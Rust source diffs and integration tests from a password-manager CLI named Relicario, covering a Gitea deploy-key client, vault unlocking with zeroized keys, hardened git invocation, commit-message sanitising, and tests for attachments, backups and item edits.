.header("Authorization", format!("token {}", self.token))
.send()
.context("Gitea API request failed")?;
if !resp.status().is_success() && resp.status().as_u16() != 404 {
let status = resp.status();
let body = resp.text().unwrap_or_default();
anyhow::bail!("Gitea API error {}: {}", status, body);
}
Ok(())
}
/// List all deploy keys.
pub fn list_deploy_keys(&self) -> Result<Vec<DeployKey>> {
let url = format!(
"{}/repos/{}/{}/keys",
self.api_url, self.owner, self.repo
);
let client = reqwest::blocking::Client::new();
let resp = client
.get(&url)
.header("Authorization", format!("token {}", self.token))
.send()
.context("Gitea API request failed")?;
if !resp.status().is_success() {
let status = resp.status();
let body = resp.text().unwrap_or_default();
anyhow::bail!("Gitea API error {}: {}", status, body);
}
let keys: Vec<DeployKey> = resp.json().context("parse deploy keys response")?;
Ok(keys)
}
}

View File

@@ -0,0 +1,236 @@
//! CLI-side helpers: vault dir detection, hardened git shell-out, ISO-8601
//! timestamp formatting. Kept in their own module so every command handler
//! stays terse.
use std::path::{Path, PathBuf};
use std::process::Command;
use anyhow::{bail, Context, Result};
use chrono::DateTime;
/// Walk up from `start` looking for a directory containing `.relicario/`.
/// Returns the vault root (the directory that contains `.relicario/`).
/// Audit L8: refuses to operate outside an initialized vault.
pub fn find_vault_dir_from(start: &Path) -> Result<PathBuf> {
let mut cur = start.to_path_buf();
loop {
if cur.join(".relicario").is_dir() {
return Ok(cur);
}
if !cur.pop() {
bail!(
"no .relicario/ directory found in {} or any parent — \
run `relicario init` first",
start.display()
);
}
}
}
/// Convenience wrapper that starts the search from `std::env::current_dir()`.
pub fn vault_dir() -> Result<PathBuf> {
let cwd = std::env::current_dir().context("failed to get current directory")?;
find_vault_dir_from(&cwd)
}
/// Path to the `.relicario/` configuration directory within the vault.
pub fn relicario_dir() -> Result<PathBuf> {
Ok(vault_dir()?.join(".relicario"))
}
/// Build a hardened `git` command — no hooks, no GPG signing, no editor.
/// Audit H4: prevents vault mutations from running hostile hooks, blocking on
/// GPG passphrase prompts (which would hold the master key alive), or entering
/// $EDITOR during rebase conflict markers.
pub fn git_command(repo: &Path, args: &[&str]) -> Command {
let mut cmd = Command::new("git");
cmd.current_dir(repo);
cmd.args([
"-c", "core.hooksPath=/dev/null",
"-c", "commit.gpgsign=false",
"-c", "core.editor=true",
]);
cmd.args(args);
cmd
}
/// Format a Unix-seconds timestamp as an ISO-8601 UTC string.
/// Audit M11: replaces the old `now_iso8601` helper that actually returned
/// a numeric string.
pub fn iso8601(unix_seconds: i64) -> String {
DateTime::from_timestamp(unix_seconds, 0)
.map(|dt| dt.format("%Y-%m-%dT%H:%M:%SZ").to_string())
.unwrap_or_else(|| format!("invalid-timestamp:{unix_seconds}"))
}
/// Format a duration (in seconds) as a coarse human-readable string:
/// "just now" / "5 minutes ago" / "4 days ago" / "3 months ago".
pub fn humanize_age(seconds: i64) -> String {
if seconds < 60 { return "just now".to_string(); }
if seconds < 3600 { return format!("{} minute{} ago", seconds / 60, plural(seconds / 60)); }
if seconds < 86_400 { return format!("{} hour{} ago", seconds / 3600, plural(seconds / 3600)); }
if seconds < 86_400 * 30 {
let d = seconds / 86_400;
return format!("{d} day{} ago", plural(d));
}
if seconds < 86_400 * 365 {
let m = seconds / (86_400 * 30);
return format!("{m} month{} ago", plural(m));
}
let y = seconds / (86_400 * 365);
format!("{y} year{} ago", plural(y))
}
fn plural(n: i64) -> &'static str { if n == 1 { "" } else { "s" } }
/// Path to the plaintext `groups.cache` file used by shell completion to
/// enumerate `--group <TAB>` candidates without unlocking the vault.
///
/// **Plaintext leak:** group names land on disk in cleartext alongside the
/// vault directory. This is intentional — the file feeds shell completion,
/// which cannot prompt for a passphrase. Set `RELICARIO_NO_GROUPS_CACHE=1`
/// to suppress the write.
pub fn groups_cache_path(vault_dir: &Path) -> PathBuf {
vault_dir.join(".relicario").join("groups.cache")
}
/// Write the sorted set of group names to `<vault_dir>/.relicario/groups.cache`,
/// one name per line. A no-op if `RELICARIO_NO_GROUPS_CACHE` is set.
pub fn write_groups_cache(
vault_dir: &Path,
groups: &std::collections::BTreeSet<String>,
) -> std::io::Result<()> {
if std::env::var_os("RELICARIO_NO_GROUPS_CACHE").is_some() {
return Ok(());
}
let path = groups_cache_path(vault_dir);
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)?;
}
let mut body = String::new();
for g in groups {
body.push_str(g);
body.push('\n');
}
std::fs::write(path, body)
}
/// Sanitize a string for use in a git commit message subject line.
///
/// Removes all Unicode control characters (U+0000U+001F, U+007F, and higher
/// control planes) so that newlines and escape sequences cannot corrupt `git
/// log` output. Truncates to 50 characters so the subject line stays within
/// the conventional limit.
///
/// Audit I1: item titles are user-supplied and may contain arbitrary bytes.
pub fn sanitize_for_commit(s: &str) -> String {
s.chars()
.filter(|c| !c.is_control())
.take(50)
.collect()
}
/// Decode a QR image at `path`. Returns the otpauth secret (base32) if the
/// QR decodes to an `otpauth://...` URI with a `secret` query param.
pub fn decode_totp_qr(path: &std::path::Path) -> anyhow::Result<String> {
let img = image::open(path)
.map_err(|e| anyhow::anyhow!("failed to read image: {e}"))?
.to_luma8();
let mut prepared = rqrr::PreparedImage::prepare(img);
let grids = prepared.detect_grids();
let grid = grids
.into_iter()
.next()
.ok_or_else(|| anyhow::anyhow!("no QR code found in image"))?;
let (_meta, content) = grid
.decode()
.map_err(|e| anyhow::anyhow!("QR decode failed: {e}"))?;
if !content.starts_with("otpauth://") {
return Err(anyhow::anyhow!("not a TOTP URI (expected otpauth://...)"));
}
let parsed =
url::Url::parse(&content).map_err(|e| anyhow::anyhow!("invalid otpauth URI: {e}"))?;
let secret = parsed
.query_pairs()
.find(|(k, _)| k == "secret")
.map(|(_, v)| v.to_string())
.ok_or_else(|| anyhow::anyhow!("otpauth URI missing `secret` parameter"))?;
Ok(secret)
}
#[cfg(test)]
mod tests {
use super::*;
use tempfile::TempDir;
#[test]
fn vault_dir_finds_marker_in_cwd() {
let tmp = TempDir::new().unwrap();
std::fs::create_dir(tmp.path().join(".relicario")).unwrap();
let found = find_vault_dir_from(tmp.path()).unwrap();
assert_eq!(found, tmp.path());
}
#[test]
fn vault_dir_finds_marker_in_parent() {
let tmp = TempDir::new().unwrap();
std::fs::create_dir(tmp.path().join(".relicario")).unwrap();
let subdir = tmp.path().join("sub/nested");
std::fs::create_dir_all(&subdir).unwrap();
let found = find_vault_dir_from(&subdir).unwrap();
assert_eq!(found, tmp.path());
}
#[test]
fn vault_dir_errors_when_missing() {
let tmp = TempDir::new().unwrap();
let err = find_vault_dir_from(tmp.path()).unwrap_err();
assert!(err.to_string().contains(".relicario"));
}
#[test]
fn iso8601_formats_fixed_timestamp() {
// 2026-04-19T00:00:00Z = 1776556800
assert_eq!(iso8601(1_776_556_800), "2026-04-19T00:00:00Z");
}
#[test]
fn sanitize_for_commit_strips_control_chars() {
assert_eq!(sanitize_for_commit("line1\nline2"), "line1line2");
assert_eq!(sanitize_for_commit("a\tb"), "ab");
assert_eq!(sanitize_for_commit("normal"), "normal");
assert_eq!(sanitize_for_commit("cr\r\nline"), "crline");
// ESC (U+001B) is control and gets stripped; bracket sequences are printable
assert_eq!(sanitize_for_commit("\x1b[31mred\x1b[0m"), "[31mred[0m");
}
#[test]
fn sanitize_for_commit_truncates_to_50() {
let long = "a".repeat(60);
assert_eq!(sanitize_for_commit(&long).len(), 50);
assert_eq!(sanitize_for_commit(&long), "a".repeat(50));
}
#[test]
fn sanitize_for_commit_allows_unicode() {
assert_eq!(sanitize_for_commit("cafe\u{0301}"), "cafe\u{0301}");
assert_eq!(sanitize_for_commit("emoji \u{1F4AA}"), "emoji \u{1F4AA}");
}
#[test]
fn humanize_age_buckets() {
assert_eq!(humanize_age(0), "just now");
assert_eq!(humanize_age(59), "just now");
assert_eq!(humanize_age(60), "1 minute ago");
assert_eq!(humanize_age(120), "2 minutes ago");
assert_eq!(humanize_age(3_599), "59 minutes ago");
assert_eq!(humanize_age(3_600), "1 hour ago");
assert_eq!(humanize_age(7_200), "2 hours ago");
assert_eq!(humanize_age(86_400), "1 day ago");
assert_eq!(humanize_age(86_400 * 2), "2 days ago");
assert_eq!(humanize_age(86_400 * 30), "1 month ago");
assert_eq!(humanize_age(86_400 * 60), "2 months ago");
assert_eq!(humanize_age(86_400 * 365), "1 year ago");
assert_eq!(humanize_age(86_400 * 365 * 3), "3 years ago");
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,151 @@
//! Unlocked-vault session: the shape every vault-mutating command works with.
//!
//! Holds the derived master key in `Zeroizing<[u8; 32]>` for the lifetime of a
//! CLI invocation. Drops it (via Zeroize) when the struct goes out of scope.
use std::fs;
use std::path::{Path, PathBuf};
use anyhow::{bail, Context, Result};
use zeroize::Zeroizing;
use relicario_core::{
decrypt_item, decrypt_manifest, decrypt_settings,
derive_master_key, encrypt_item, encrypt_manifest, encrypt_settings,
imgsecret, Item, ItemId, KdfParams, Manifest, VaultSettings,
};
use crate::helpers::vault_dir;
/// A vault whose master key has been derived and is held in memory.
/// The key is wiped via `Zeroize` when this struct drops.
pub struct UnlockedVault {
root: PathBuf,
master_key: Zeroizing<[u8; 32]>,
}
impl UnlockedVault {
pub fn root(&self) -> &Path { &self.root }
pub fn key(&self) -> &Zeroizing<[u8; 32]> { &self.master_key }
/// Full interactive unlock flow: locate vault, prompt passphrase, locate
/// reference image, derive master key.
pub fn unlock_interactive() -> Result<Self> {
let root = vault_dir()?;
let salt = read_salt(&root)?;
let params = read_params(&root)?;
let image_path = get_image_path()?;
let image_bytes = fs::read(&image_path)
.with_context(|| format!("failed to read reference image {}", image_path.display()))?;
let image_secret = Zeroizing::new(imgsecret::extract(&image_bytes)?);
let passphrase = if let Some(p) = crate::test_passphrase_override() {
Zeroizing::new(p)
} else {
Zeroizing::new(
rpassword::prompt_password("Passphrase: ")
.context("failed to read passphrase")?
)
};
let master_key = derive_master_key(
passphrase.as_bytes(),
&*image_secret,
&salt,
&params,
)?;
Ok(Self { root, master_key })
}
pub fn manifest_path(&self) -> PathBuf { self.root.join("manifest.enc") }
pub fn settings_path(&self) -> PathBuf { self.root.join("settings.enc") }
pub fn item_path(&self, id: &ItemId) -> PathBuf {
self.root.join("items").join(format!("{}.enc", id.as_str()))
}
pub fn load_manifest(&self) -> Result<Manifest> {
let bytes = fs::read(self.manifest_path()).context("failed to read manifest.enc")?;
Ok(decrypt_manifest(&bytes, &self.master_key)?)
}
pub fn save_manifest(&self, manifest: &Manifest) -> Result<()> {
let bytes = encrypt_manifest(manifest, &self.master_key)?;
atomic_write(&self.manifest_path(), &bytes)
}
pub fn load_settings(&self) -> Result<VaultSettings> {
let bytes = fs::read(self.settings_path()).context("failed to read settings.enc")?;
Ok(decrypt_settings(&bytes, &self.master_key)?)
}
pub fn save_settings(&self, settings: &VaultSettings) -> Result<()> {
let bytes = encrypt_settings(settings, &self.master_key)?;
atomic_write(&self.settings_path(), &bytes)
}
pub fn load_item(&self, id: &ItemId) -> Result<Item> {
let bytes = fs::read(self.item_path(id))
.with_context(|| format!("failed to read item {}", id.as_str()))?;
Ok(decrypt_item(&bytes, &self.master_key)?)
}
pub fn save_item(&self, item: &Item) -> Result<()> {
let path = self.item_path(&item.id);
if let Some(parent) = path.parent() { fs::create_dir_all(parent)?; }
let bytes = encrypt_item(item, &self.master_key)?;
atomic_write(&path, &bytes)
}
}
fn read_salt(root: &Path) -> Result<[u8; 32]> {
let data = fs::read(root.join(".relicario").join("salt"))
.context("failed to read .relicario/salt")?;
if data.len() != 32 { bail!("invalid salt length: {}", data.len()); }
let mut salt = [0u8; 32];
salt.copy_from_slice(&data);
Ok(salt)
}
fn read_params(root: &Path) -> Result<KdfParams> {
// params.json layout: { "format_version": 2, "kdf": { "argon2_m": ..., ... }, ... }
// We extract only the "kdf" sub-object and deserialize it as KdfParams.
#[derive(serde::Deserialize)]
struct ParamsFile {
kdf: KdfParams,
}
let s = fs::read_to_string(root.join(".relicario").join("params.json"))
.context("failed to read .relicario/params.json")?;
let pf: ParamsFile = serde_json::from_str(&s).context("failed to parse params.json")?;
Ok(pf.kdf)
}
/// Locate the reference image path via `RELICARIO_IMAGE` env var or interactive prompt.
pub fn get_image_path() -> Result<PathBuf> {
if let Ok(path) = std::env::var("RELICARIO_IMAGE") {
return Ok(PathBuf::from(path));
}
// Also accept <vault_root>/reference.jpg as a convention.
if let Ok(root) = vault_dir() {
let default = root.join("reference.jpg");
if default.exists() { return Ok(default); }
}
eprint!("Reference image path: ");
std::io::Write::flush(&mut std::io::stderr())?;
let mut line = String::new();
std::io::stdin().read_line(&mut line)?;
let trimmed = line.trim();
if trimmed.is_empty() { bail!("no reference image path provided"); }
Ok(PathBuf::from(trimmed))
}
/// Atomic write: write to <path>.tmp, then rename over <path>. Keeps the
/// vault file consistent if we crash mid-write.
fn atomic_write(path: &Path, data: &[u8]) -> Result<()> {
let mut tmp = path.as_os_str().to_owned();
tmp.push(".tmp");
let tmp = PathBuf::from(tmp);
fs::write(&tmp, data).with_context(|| format!("failed to write {}", tmp.display()))?;
fs::rename(&tmp, path).with_context(|| format!("failed to rename {}", path.display()))?;
Ok(())
}

View File

@@ -0,0 +1,106 @@
mod common;
use common::TestVault;
#[test]
fn attach_list_extract_round_trip() {
let v = TestVault::init();
v.run(&["add", "login", "--title", "thing",
"--username", "u", "--password", "p"]);
let payload_path = v.path().join("payload.txt");
std::fs::write(&payload_path, b"attached-bytes").unwrap();
let attach = v.run(&["attach", "thing", payload_path.to_str().unwrap()]);
assert!(attach.status.success(), "attach failed: {:?}", attach);
let list = v.run(&["attachments", "thing"]);
let stdout = String::from_utf8(list.stdout).unwrap();
assert!(stdout.contains("payload.txt"), "missing payload: {stdout}");
let aid = stdout.lines()
.find(|l| l.contains("payload.txt"))
.and_then(|l| l.split_whitespace().next())
.expect("aid token");
let out_path = v.path().join("extracted.txt");
let ex = v.run(&["extract", "thing", aid, "--out", out_path.to_str().unwrap()]);
assert!(ex.status.success(), "extract failed: {:?}", ex);
assert_eq!(std::fs::read(out_path).unwrap(), b"attached-bytes");
}
#[test]
fn detach_removes_attachment_and_blob() {
let v = TestVault::init();
v.run(&["add", "login", "--title", "thing",
"--username", "u", "--password", "p"]);
let payload_path = v.path().join("payload.txt");
std::fs::write(&payload_path, b"attached-bytes").unwrap();
let attach = v.run(&["attach", "thing", payload_path.to_str().unwrap()]);
assert!(attach.status.success());
let list = v.run(&["attachments", "thing"]);
let stdout = String::from_utf8(list.stdout).unwrap();
let aid = stdout.lines()
.find(|l| l.contains("payload.txt"))
.and_then(|l| l.split_whitespace().next())
.expect("aid token")
.to_string();
// Detach removes the attachment from the item AND deletes the blob.
let out = v.run(&["detach", "thing", &aid]);
assert!(
out.status.success(),
"detach failed:\nstdout: {}\nstderr: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr),
);
// Item no longer lists the attachment.
let list2 = v.run(&["attachments", "thing"]);
let stdout2 = String::from_utf8(list2.stdout).unwrap();
assert!(
!stdout2.contains("payload.txt"),
"attachment still listed after detach: {stdout2}"
);
// Encrypted blob file is gone.
let blob_path = v.path()
.join("attachments")
.join(stdout.lines().nth(1).is_some().then_some("").unwrap_or(""));
let item_attach_dir = std::fs::read_dir(v.path().join("attachments"))
.unwrap().next().unwrap().unwrap().path();
let blob = item_attach_dir.join(format!("{aid}.enc"));
assert!(!blob.exists(), "blob still on disk: {}", blob.display());
let _ = blob_path; // keep the variable to avoid an unused warning
}
#[test]
fn detach_refuses_unknown_aid() {
let v = TestVault::init();
v.run(&["add", "login", "--title", "thing",
"--username", "u", "--password", "p"]);
let out = v.run(&["detach", "thing", "deadbeef"]);
assert!(!out.status.success(), "expected failure: {:?}", out);
assert!(
String::from_utf8_lossy(&out.stderr).to_lowercase().contains("no attachment"),
"expected 'no attachment' error in stderr"
);
}
#[test]
fn attach_rejects_over_cap() {
let v = TestVault::init();
v.run(&["add", "login", "--title", "thing",
"--username", "u", "--password", "p"]);
v.run(&["settings", "attachment-cap", "--per-attachment-max-bytes", "10"]);
let big = v.path().join("big.bin");
std::fs::write(&big, vec![0u8; 100]).unwrap();
let out = v.run(&["attach", "thing", big.to_str().unwrap()]);
assert!(!out.status.success(), "expected failure; got {:?}", out);
assert!(String::from_utf8(out.stderr).unwrap().to_lowercase().contains("attachment"));
}

View File

@@ -0,0 +1,142 @@
mod common;
use common::TestVault;
use std::process::Command;
use assert_cmd::cargo::CommandCargoExt;
const BACKUP_PASS: &str = "strong-backup-pass-test-2026";
#[test]
fn export_then_restore_round_trip() {
let v = TestVault::init();
v.run(&["add", "login", "--title", "GitHub", "--username", "alice", "--password", "p"]);
v.run(&["add", "login", "--title", "Email", "--username", "bob", "--password", "q"]);
let backup_path = v.path().join("vault.relbak");
let out = v.run_with_backup_pass(
&["backup", "export", backup_path.to_str().unwrap()],
BACKUP_PASS,
);
assert!(out.status.success(), "export failed: {:?}", String::from_utf8_lossy(&out.stderr));
assert!(backup_path.exists());
assert!(v.path().join(".relicario/last_backup").exists());
// Restore into a fresh dir.
let restore_dir = tempfile::TempDir::new().unwrap();
let out = Command::cargo_bin("relicario")
.unwrap()
.current_dir(restore_dir.path())
.env("RELICARIO_TEST_BACKUP_PASSPHRASE", BACKUP_PASS)
.args(["backup", "restore", backup_path.to_str().unwrap(), "."])
.output()
.unwrap();
assert!(out.status.success(), "restore failed: {:?}", String::from_utf8_lossy(&out.stderr));
// Vault should be unlockable in the restore dir using the same passphrase + image.
// Since the original vault didn't include the image, we copy it in manually
// (the standard restore-without-image flow expects the user to keep their
// reference image separately).
std::fs::copy(&v.reference_image, restore_dir.path().join("reference.jpg")).unwrap();
let out = Command::cargo_bin("relicario")
.unwrap()
.current_dir(restore_dir.path())
.env("RELICARIO_TEST_PASSPHRASE", &v.passphrase)
.env("RELICARIO_IMAGE", restore_dir.path().join("reference.jpg"))
.args(["list"])
.output()
.unwrap();
let stdout = String::from_utf8(out.stdout).unwrap();
assert!(stdout.contains("GitHub"));
assert!(stdout.contains("Email"));
}
#[test]
fn restore_refuses_non_empty_target() {
let v = TestVault::init();
let backup_path = v.path().join("vault.relbak");
v.run_with_backup_pass(&["backup", "export", backup_path.to_str().unwrap()], BACKUP_PASS);
let out = Command::cargo_bin("relicario")
.unwrap()
.current_dir(v.path()) // already has a .relicario/
.env("RELICARIO_TEST_BACKUP_PASSPHRASE", BACKUP_PASS)
.args(["backup", "restore", backup_path.to_str().unwrap(), "."])
.output()
.unwrap();
assert!(!out.status.success());
let err = String::from_utf8(out.stderr).unwrap();
assert!(err.contains("already contains a Relicario vault"), "stderr: {err}");
}
#[test]
fn export_with_include_image_round_trips_the_image() {
let v = TestVault::init();
let backup_path = v.path().join("vault.relbak");
v.run_with_backup_pass(
&["backup", "export", backup_path.to_str().unwrap(), "--include-image"],
BACKUP_PASS,
);
let restore_dir = tempfile::TempDir::new().unwrap();
let out = Command::cargo_bin("relicario")
.unwrap()
.current_dir(restore_dir.path())
.env("RELICARIO_TEST_BACKUP_PASSPHRASE", BACKUP_PASS)
.args(["backup", "restore", backup_path.to_str().unwrap(), "."])
.output()
.unwrap();
assert!(out.status.success(), "{:?}", String::from_utf8_lossy(&out.stderr));
assert!(restore_dir.path().join("reference.jpg").exists(),
"image should be restored when --include-image was used");
}
#[test]
fn export_with_no_history_skips_git_dir() {
let v = TestVault::init();
let backup_path = v.path().join("vault.relbak");
v.run_with_backup_pass(
&["backup", "export", backup_path.to_str().unwrap(), "--no-history"],
BACKUP_PASS,
);
let restore_dir = tempfile::TempDir::new().unwrap();
let out = Command::cargo_bin("relicario")
.unwrap()
.current_dir(restore_dir.path())
.env("RELICARIO_TEST_BACKUP_PASSPHRASE", BACKUP_PASS)
.args(["backup", "restore", backup_path.to_str().unwrap(), "."])
.output()
.unwrap();
assert!(out.status.success(), "{:?}", String::from_utf8_lossy(&out.stderr));
// .git/ should exist but contain only the "restore from backup ..." commit.
assert!(restore_dir.path().join(".git").is_dir());
let out = std::process::Command::new("git")
.current_dir(restore_dir.path())
.args(["log", "--oneline"])
.output()
.unwrap();
let log = String::from_utf8(out.stdout).unwrap();
assert_eq!(log.lines().count(), 1, "expected one commit, got: {log}");
assert!(log.contains("restore from backup"));
}
#[test]
fn wrong_backup_passphrase_fails() {
let v = TestVault::init();
let backup_path = v.path().join("vault.relbak");
v.run_with_backup_pass(&["backup", "export", backup_path.to_str().unwrap()], BACKUP_PASS);
let restore_dir = tempfile::TempDir::new().unwrap();
let out = Command::cargo_bin("relicario")
.unwrap()
.current_dir(restore_dir.path())
.env("RELICARIO_TEST_BACKUP_PASSPHRASE", "definitely-wrong")
.args(["backup", "restore", backup_path.to_str().unwrap(), "."])
.output()
.unwrap();
assert!(!out.status.success());
let err = String::from_utf8(out.stderr).unwrap();
assert!(err.contains("wrong backup passphrase"), "stderr: {err}");
}

View File

@@ -0,0 +1,137 @@
mod common;
use assert_cmd::cargo::CommandCargoExt as _;
use common::TestVault;
#[test]
fn init_creates_expected_layout() {
let v = TestVault::init();
assert!(v.path().join(".relicario/salt").exists());
assert!(v.path().join(".relicario/params.json").exists());
// devices.json removed — device key system was security theater
assert!(!v.path().join(".relicario/devices.json").exists());
assert!(v.path().join("manifest.enc").exists());
assert!(v.path().join("settings.enc").exists());
assert!(v.path().join("reference.jpg").exists());
assert!(v.path().join(".gitignore").exists());
assert!(v.path().join(".git").is_dir());
}
#[test]
fn init_params_json_is_format_v2() {
let v = TestVault::init();
let s = std::fs::read_to_string(v.path().join(".relicario/params.json")).unwrap();
let parsed: serde_json::Value = serde_json::from_str(&s).unwrap();
assert_eq!(parsed["format_version"], 2);
assert_eq!(parsed["kdf"]["algorithm"], "argon2id-v0x13");
assert_eq!(parsed["aead"], "xchacha20poly1305");
}
#[test]
fn add_login_then_list_shows_it() {
let v = TestVault::init();
let out = v.run(&[
"add",
"login",
"--title",
"GitHub",
"--username",
"alice",
"--url",
"https://github.com",
"--password",
"hunter2",
]);
assert!(out.status.success(), "add failed: {:?}", out);
let out = v.run(&["list"]);
let stdout = String::from_utf8(out.stdout).unwrap();
assert!(stdout.contains("GitHub"), "list missing GitHub: {stdout}");
}
#[test]
fn get_masks_by_default_shows_with_flag() {
let v = TestVault::init();
v.run(&[
"add",
"login",
"--title",
"gmail",
"--username",
"u",
"--password",
"super-secret",
]);
let masked = v.run(&["get", "gmail"]);
let stdout = String::from_utf8(masked.stdout).unwrap();
assert!(stdout.contains("********"), "expected masked: {stdout}");
assert!(
!stdout.contains("super-secret"),
"leaked plaintext: {stdout}"
);
let shown = v.run(&["get", "gmail", "--show"]);
let stdout = String::from_utf8(shown.stdout).unwrap();
assert!(stdout.contains("super-secret"), "expected plaintext: {stdout}");
}
#[test]
fn rm_restore_purge_cycle() {
let v = TestVault::init();
v.run(&[
"add",
"login",
"--title",
"target",
"--username",
"u",
"--password",
"p",
]);
let rm = v.run(&["rm", "target"]);
assert!(rm.status.success());
let out = v.run(&["list"]);
assert!(!String::from_utf8(out.stdout).unwrap().contains("target"));
let out = v.run(&["list", "--trashed"]);
assert!(String::from_utf8(out.stdout).unwrap().contains("target"));
let restore = v.run(&["restore", "target"]);
assert!(restore.status.success());
let out = v.run(&["list"]);
assert!(String::from_utf8(out.stdout).unwrap().contains("target"));
let purge = v.run(&["purge", "target"]);
assert!(purge.status.success());
let out = v.run(&["list"]);
assert!(!String::from_utf8(out.stdout).unwrap().contains("target"));
}
#[test]
fn generate_random_and_bip39() {
let dir = tempfile::TempDir::new().unwrap();
let out = std::process::Command::cargo_bin("relicario")
.unwrap()
.current_dir(dir.path())
.args(["generate", "--length", "32"])
.output()
.unwrap();
assert!(out.status.success());
assert_eq!(
String::from_utf8(out.stdout).unwrap().trim().len(),
32
);
let out = std::process::Command::cargo_bin("relicario")
.unwrap()
.current_dir(dir.path())
.args(["generate", "--bip39", "--words", "5"])
.output()
.unwrap();
assert!(out.status.success());
let phrase = String::from_utf8(out.stdout).unwrap();
assert_eq!(phrase.trim().split(' ').count(), 5);
}

View File

@@ -0,0 +1,130 @@
//! Shared helpers for CLI integration tests.
//!
//! `TestVault::init()` spins up a fresh vault in a `TempDir` using
//! `RELICARIO_TEST_PASSPHRASE` as the escape hatch (bypasses TTY prompts).
//! Every `run()` / `run_with_input()` call sets both `RELICARIO_IMAGE` and
//! `RELICARIO_TEST_PASSPHRASE`, so vault-mutating commands unlock without
//! interactive input.
//!
//! Note for Task 23 implementers: commands that prompt for a *new item
//! password* (i.e. `edit` when changing a Login password) also use
//! `rpassword`. Plumb `RELICARIO_TEST_ITEM_PASSWORD` through `cmd_edit` in
//! main.rs, or use an item type / edit path that avoids the rpassword call.
use std::io::Write;
use std::path::{Path, PathBuf};
use std::process::{Command, Stdio};
use assert_cmd::cargo::CommandCargoExt;
use tempfile::TempDir;
pub struct TestVault {
pub dir: TempDir,
pub reference_image: PathBuf,
pub passphrase: String,
}
impl TestVault {
pub fn init() -> Self {
let dir = TempDir::new().expect("tempdir");
let carrier = make_test_jpeg(400, 300);
let carrier_path = dir.path().join("carrier.jpg");
std::fs::write(&carrier_path, &carrier).unwrap();
let passphrase = "correct horse battery staple 2026".to_string();
let ref_path = dir.path().join("reference.jpg");
let mut cmd = Command::cargo_bin("relicario").unwrap();
cmd.current_dir(dir.path())
.env("RELICARIO_TEST_PASSPHRASE", &passphrase)
.args([
"init",
"--image",
carrier_path.to_str().unwrap(),
"--output",
ref_path.to_str().unwrap(),
])
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
let out = cmd.output().unwrap();
assert!(
out.status.success(),
"init failed:\nstdout: {}\nstderr: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
Self {
dir,
reference_image: ref_path,
passphrase,
}
}
pub fn path(&self) -> &Path {
self.dir.path()
}
pub fn run(&self, args: &[&str]) -> std::process::Output {
let mut cmd = Command::cargo_bin("relicario").unwrap();
cmd.current_dir(self.dir.path())
.env("RELICARIO_IMAGE", &self.reference_image)
.env("RELICARIO_TEST_PASSPHRASE", &self.passphrase)
.args(args)
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
cmd.output().unwrap()
}
pub fn run_with_backup_pass(&self, args: &[&str], backup_pass: &str) -> std::process::Output {
let mut cmd = Command::cargo_bin("relicario").unwrap();
cmd.current_dir(self.dir.path())
.env("RELICARIO_IMAGE", &self.reference_image)
.env("RELICARIO_TEST_PASSPHRASE", &self.passphrase)
.env("RELICARIO_TEST_BACKUP_PASSPHRASE", backup_pass)
.args(args)
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
cmd.output().unwrap()
}
pub fn run_with_input(&self, args: &[&str], extra: &[&str]) -> std::process::Output {
let mut cmd = Command::cargo_bin("relicario").unwrap();
cmd.current_dir(self.dir.path())
.env("RELICARIO_IMAGE", &self.reference_image)
.env("RELICARIO_TEST_PASSPHRASE", &self.passphrase)
.args(args)
.stdin(Stdio::piped())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
let mut child = cmd.spawn().unwrap();
{
let stdin = child.stdin.as_mut().unwrap();
for line in extra {
writeln!(stdin, "{line}").unwrap();
}
}
child.wait_with_output().unwrap()
}
}
pub fn make_test_jpeg(w: u32, h: u32) -> Vec<u8> {
use image::codecs::jpeg::JpegEncoder;
use image::{ExtendedColorType, ImageBuffer, ImageEncoder, Rgb};
let img = ImageBuffer::from_fn(w, h, |x, y| {
Rgb([
((x * 7 + y * 13) % 256) as u8,
((x * 11 + y * 3) % 256) as u8,
((x * 5 + y * 17) % 256) as u8,
])
});
let mut out = Vec::new();
JpegEncoder::new_with_quality(&mut out, 92)
.write_image(img.as_raw(), w, h, ExtendedColorType::Rgb8)
.unwrap();
out
}

View File

@@ -0,0 +1,191 @@
mod common;
use common::TestVault;
#[test]
fn edit_password_captures_history() {
let v = TestVault::init();
v.run(&["add", "login", "--title", "bank",
"--username", "u", "--password", "first-pw"]);
// edit: accept defaults on title/group/tags/username/url, then change pw.
let out = run_edit_with_pw_change(&v, "bank", "second-pw");
assert!(out.status.success(), "edit failed:\nstdout: {}\nstderr: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr));
// Verify the edit commit exists in git log.
let log = std::process::Command::new("git")
.current_dir(v.path()).args(["log", "--oneline"])
.output().unwrap();
let log_str = String::from_utf8(log.stdout).unwrap();
assert!(log_str.contains("edit: bank"), "missing edit commit: {log_str}");
// And the item file has been re-written (there's a single items/<id>.enc).
let items_dir = v.path().join("items");
let entries: Vec<_> = std::fs::read_dir(&items_dir).unwrap()
.map(|e| e.unwrap().path()).collect();
assert_eq!(entries.len(), 1);
}
/// Drives the interactive `edit` flow end-to-end:
/// 1. passphrase via env var.
/// 2. blank lines for title, group, tags, username, url.
/// 3. "y" for "Change password?"
/// 4. new password via RELICARIO_TEST_ITEM_SECRET env var.
fn run_edit_with_pw_change(v: &TestVault, query: &str, new_pw: &str) -> std::process::Output {
use assert_cmd::cargo::CommandCargoExt;
use std::io::Write;
use std::process::{Command, Stdio};
let mut cmd = Command::cargo_bin("relicario").unwrap();
cmd.current_dir(v.path())
.env("RELICARIO_IMAGE", &v.reference_image)
.env("RELICARIO_TEST_PASSPHRASE", &v.passphrase)
.env("RELICARIO_TEST_ITEM_SECRET", new_pw)
.args(["edit", query])
.stdin(Stdio::piped())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
let mut child = cmd.spawn().unwrap();
{
let stdin = child.stdin.as_mut().unwrap();
// title, group, tags, username, url (keep defaults), then yes-to-change-pw.
for line in ["", "", "", "", "", "y"] {
writeln!(stdin, "{line}").unwrap();
}
}
child.wait_with_output().unwrap()
}
#[test]
fn history_command_lists_per_field_entries() {
